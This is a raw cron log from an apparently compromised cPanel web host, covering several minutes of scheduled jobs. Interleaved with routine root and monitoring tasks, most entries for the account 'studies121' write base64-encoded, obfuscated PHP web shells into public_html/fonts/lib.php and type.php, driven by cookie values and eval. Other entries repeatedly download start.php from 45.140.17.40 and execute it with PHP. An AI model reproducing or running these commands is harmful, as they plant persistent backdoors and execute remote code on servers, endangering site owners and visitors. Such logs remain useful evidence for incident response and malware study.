Sep  5 11:47:01 ip-184-168-122-23 CROND[7393]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 11:47:01 ip-184-168-122-23 CROND[7394]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 11:48:01 ip-184-168-122-23 CROND[7502]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 11:48:01 ip-184-168-122-23 CROND[7504]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 11:48:01 ip-184-168-122-23 CROND[7507]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 11:48:01 ip-184-168-122-23 CROND[7505]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 11:48:01 ip-184-168-122-23 CROND[7508]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 11:49:01 ip-184-168-122-23 CROND[7786]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 11:49:01 ip-184-168-122-23 CROND[7784]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 11:49:01 ip-184-168-122-23 CROND[7787]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 11:49:01 ip-184-168-122-23 CROND[7785]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 11:50:01 ip-184-168-122-23 CROND[7907]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 11:50:01 ip-184-168-122-23 CROND[7908]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  5 11:50:01 ip-184-168-122-23 CROND[7916]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 11:50:01 ip-184-168-122-23 CROND[7914]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 11:50:01 ip-184-168-122-23 CROND[7915]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 11:50:01 ip-184-168-122-23 CROND[7913]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 11:50:01 ip-184-168-122-23 CROND[7918]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 11:50:01 ip-184-168-122-23 CROND[7917]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 11:50:01 ip-184-168-122-23 CROND[7919]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 11:51:01 ip-184-168-122-23 CROND[8073]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 11:51:01 ip-184-168-122-23 CROND[8074]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 11:51:01 ip-184-168-122-23 CROND[8075]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 11:51:01 ip-184-168-122-23 CROND[8076]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 11:52:01 ip-184-168-122-23 CROND[8240]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 11:52:01 ip-184-168-122-23 CROND[8243]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 11:52:01 ip-184-168-122-23 CROND[8245]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 11:52:01 ip-184-168-122-23 CROND[8244]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 11:52:01 ip-184-168-122-23 CROND[8242]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 11:53:01 ip-184-168-122-23 CROND[8387]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 11:53:01 ip-184-168-122-23 CROND[8389]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 11:53:01 ip-184-168-122-23 CROND[8390]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 11:53:01 ip-184-168-122-23 CROND[8391]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 11:54:01 ip-184-168-122-23 CROND[8635]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 11:54:01 ip-184-168-122-23 CROND[8637]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 11:54:01 ip-184-168-122-23 CROND[8638]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 11:54:01 ip-184-168-122-23 CROND[8639]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 11:54:01 ip-184-168-122-23 CROND[8640]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 11:55:01 ip-184-168-122-23 CROND[8923]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 11:55:01 ip-184-168-122-23 CROND[8927]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 11:55:01 ip-184-168-122-23 CROND[8925]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 11:55:01 ip-184-168-122-23 CROND[8928]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 11:55:01 ip-184-168-122-23 CROND[8929]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 11:55:01 ip-184-168-122-23 CROND[8926]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 11:56:01 ip-184-168-122-23 CROND[9050]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 11:56:01 ip-184-168-122-23 CROND[9055]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 11:56:01 ip-184-168-122-23 CROND[9054]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 11:56:01 ip-184-168-122-23 CROND[9053]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 11:56:01 ip-184-168-122-23 CROND[9052]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 11:57:01 ip-184-168-122-23 CROND[9206]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 11:57:01 ip-184-168-122-23 CROND[9209]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 11:57:01 ip-184-168-122-23 CROND[9208]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 11:57:01 ip-184-168-122-23 CROND[9210]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 11:58:01 ip-184-168-122-23 CROND[9391]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 11:58:01 ip-184-168-122-23 CROND[9388]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 11:58:01 ip-184-168-122-23 CROND[9389]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 11:58:01 ip-184-168-122-23 CROND[9392]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 11:58:01 ip-184-168-122-23 CROND[9390]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 11:59:01 ip-184-168-122-23 CROND[9517]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 11:59:01 ip-184-168-122-23 CROND[9518]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 11:59:01 ip-184-168-122-23 CROND[9519]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 11:59:01 ip-184-168-122-23 CROND[9520]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
